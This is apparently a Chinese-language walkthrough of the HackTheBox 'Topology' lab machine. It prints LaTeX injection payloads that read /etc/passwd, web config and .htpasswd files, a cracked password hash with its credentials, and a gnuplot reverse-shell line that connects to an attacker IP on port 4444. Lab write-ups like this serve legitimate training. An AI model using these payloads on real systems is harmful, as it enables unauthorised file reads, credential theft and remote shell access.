HackTheBox-Machines--Topology

文章目录

  • 1 端口扫描
  • 2 漏洞探测
  • 三 权限提升


Topology 测试过程

1 端口扫描


nmap -sC -sV 10.129.23.12

在这里插入图片描述

2 漏洞探测


    端口扫描发现22和80端口,访问80端口,发现LaTeX方程生成器,访问该按钮发现子域: latex.topology.htb

在这里插入图片描述

在这里插入图片描述

    将域名添加到hosts文件中

echo "10.129.23.12 topology.htb latex.topology.htb" | sudo tee -a /etc/hosts

    1.使用搜索引擎查找LaTeX相关漏洞
在这里插入图片描述

   查找到 LaTex 对用户输入进行解析生成PNG图像,存在注入漏洞。

    2.LaTeX注入漏洞测试 读取 /etc/passwd

# payload 单行输出
\input{/etc/passwd}
#使用 \ $ 对payload进行包装 
$\input{/etc/passwd}$

在这里插入图片描述

在这里插入图片描述

#payload 多行输出
$\lstinputlisting{/etc/passwd}$

在这里插入图片描述

   3.读取Apache默认配置文件,获取到dev、stats等子域

$\lstinputlisting{/etc/apache2/sites-available/000-default.conf}$

   发现默认配置中存在dev、stats等子域,将子域添加到 hosts文件

echo "10.129.23.12 dev.topology.htb stats.topology.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

在这里插入图片描述

   4.读取.htaccess文件,在文件内容中发现/.htpasswd文件

$\lstinputlisting{/var/www/dev/.htaccess}$

在这里插入图片描述

   5.读取/var/www/dev/.htpasswd,发现用户名及hash密码

$\lstinputlisting{/var/www/dev/.htpasswd}$

在这里插入图片描述

   6.对hash密码进行破解,获取到密码 calculus20

echo 'vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash.txt
john --wordlist=rockyou.txt hash.txt

   7.网站开启22端口,使用 vdaisley:calculus20

ssh vdaisley@topology.htb

在这里插入图片描述

在这里插入图片描述

三 权限提升


   1.本地开启web服务

python3 -m http.server 8000

   2.使用wget上传pspy pspy工具在非root权限下可以监控linux进程

   pspy工具地址:https://github.com/DominicBreuker/pspy?tab=readme-ov-file

wget http://10.10.14.53:8000/pspy64
chmod +x ./pspy64
./pspy64

在这里插入图片描述
在这里插入图片描述

   3.在pspy监控下,发现/opt/gnuplot/getdata.sh脚本

/bin/sh /opt/gnuplot/getdata.sh
/bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;

   pspy工具执行结果显示,通过find命令在 /opt/gnuplot/ 目录下,执行*.plt脚本,如果在*.plt可以写入反弹shell脚本,即可通过执行*.plt文件获取权限。

在这里插入图片描述

   4.在*.plt文件中写入反弹shell脚本

   查看gnuplot相关命令文档,发现system()命令可进行命令执行。gnuplot命令文档地址:http://gnuplot.info/docs_5.5/loc18483.html

在这里插入图片描述

#启动监听器
ncat -lnvp 4444
# 新建 shell.plt脚本文件
vim /opt/gnuplot/shell.plt

在这里插入图片描述

# 反弹shell payload
shell = system("/bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.14.53/4444 0>&1'")
print shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/586846.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring IoCDI(2)

IoC详解 通过上面的案例, 我们已经知道了IoC和DI的基本操作, 接下来我们来系统地学习Spring IoC和DI的操作. 前面我们提到的IoC控制反转, 就是将对象的控制权交给Spring的IoC容器, 由IoC容器创建及管理对象. (也就是Bean的存储). Bean的存储 我们之前只讲到了Component注解…

手机销量分析案例

项目背景 某电商商城随着业务量的发展,积累了大量的用户手机销售订单数据。决策层希望能够通过对这些数据的分析了解更多的用户信息及用户的分布,从而可以指导下一年的市场营销方案以及更加精准的定位市场,进行广告投放。 数据说明 数据时…

【Zblog搭建博客网站】windows环境搭建属于自己的博客并发布上线 – cpolar内网穿透

目录 1. 前言 2. Z-blog网站搭建 2.1 XAMPP环境设置 2.2 Z-blog安装 2.3 Z-blog网页测试 2.4 Cpolar安装和注册 3. 本地网页发布 3.1. Cpolar云端设置 3.2 Cpolar本地设置 4. 公网访问测试 5. 结语 1. 前言 想要成为一个合格的技术宅或程序员,自己搭建网…

吴恩达深度学习笔记:深层神经网络(Deep Neural Networks)4.1-4.4

目录 第一门课:神经网络和深度学习 (Neural Networks and Deep Learning)第四周:深层神经网络(Deep Neural Networks)4.1 深层神经网络(Deep L-layer neural network) 第一门课:神经网络和深度学习 (Neural Networks a…

2024最新软件测试【测试理论+ 性能测试】面试题(内附答案)

一、测试理论 3.1 你们原来项目的测试流程是怎么样的? 我们的测试流程主要有三个阶段:需求了解分析、测试准备、测试执行。 1、需求了解分析阶段 我们的 SE 会把需求文档给我们自己先去了解一到两天这样,之后我们会有一个需求澄清会议, …

输出100~200之间的素数(C语言)

一、运行结果&#xff1b; 二、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>//实现素数判断函数&#xff1b; int Prime(int number) {//初始化变量值&#xff1b;int divided 2;int JudgementCondition 0;//循环判断素数&#xff1b;wh…

day59 动态规划part16

583. 两个字符串的删除操作 中等 给定两个单词 word1 和 word2 &#xff0c;返回使得 word1 和 word2 相同所需的最小步数。 每步 可以删除任意一个字符串中的一个字符。 示例 1&#xff1a; 输入: word1 “sea”, word2 “eat” 输出: 2 解释: 第一步将 “sea” 变为 “…

Android Telephony框架

目录 一、简介二、应用层(Application)三、框架层(Framework)四、本地 RIL 层(RIL)五、驱动层(Modem)六、整体框架 一、简介 无论手机发展到如何智能的程度&#xff0c;最关键和重要的功能仍然是通讯&#xff0c;具体来说就是打电话、发短信、上网功能的使用。而整个 Android …

大模型之路2:继续趟一条小路

继续趟一条小路&#xff0c;可谓是充满了曲折&#xff0c;当然&#xff0c;必不可少的还是坑。 吐槽 看过的喷友&#xff0c;其实你看完以后&#xff0c;大概率也就是和我一起骂骂街&#xff0c;因为....我也的确没理清楚。 我也不知道做错了什么&#xff0c;就是运行不过去…

1.JavaEE进阶篇 - 为什么要学习SpringBoot呢?

文章目录 1.为什么要学框架&#xff1f;2.框架的优点展示(SpringBoot VS Servlet)2.1 Servlet 项⽬开发2.1.1 创建项⽬2.1.2 添加引⽤2.1.3 添加业务代码2.1.4 运⾏项⽬(配置tomcat)2.1.5 Maven配置2.1.5.1修改本地Maven仓库地址2.1.5.2 配置settings.xml文件2.1.5.3项目 本地仓…

python file怎么打开

Python open() 方法用于打开一个文件&#xff0c;并返回文件对象&#xff0c;在对文件进行处理过程都需要使用到这个函数&#xff0c;如果该文件无法被打开&#xff0c;会抛出 OSError。 注意&#xff1a;使用 open() 方法一定要保证关闭文件对象&#xff0c;即调用 close() 方…

税务知识竞赛活动方案

为了提高税务工作人员的业务技能和知识&#xff0c;现在全市范围开展税务知识竞赛&#xff0c;希望通过“以赛促学”&#xff0c;在税务系统掀起一场税务知识学习热潮。下面是本次竞赛的活动方案。 1、第一轮&#xff1a;争分夺秒。选择题或判断题&#xff0c;每位参赛选手按编…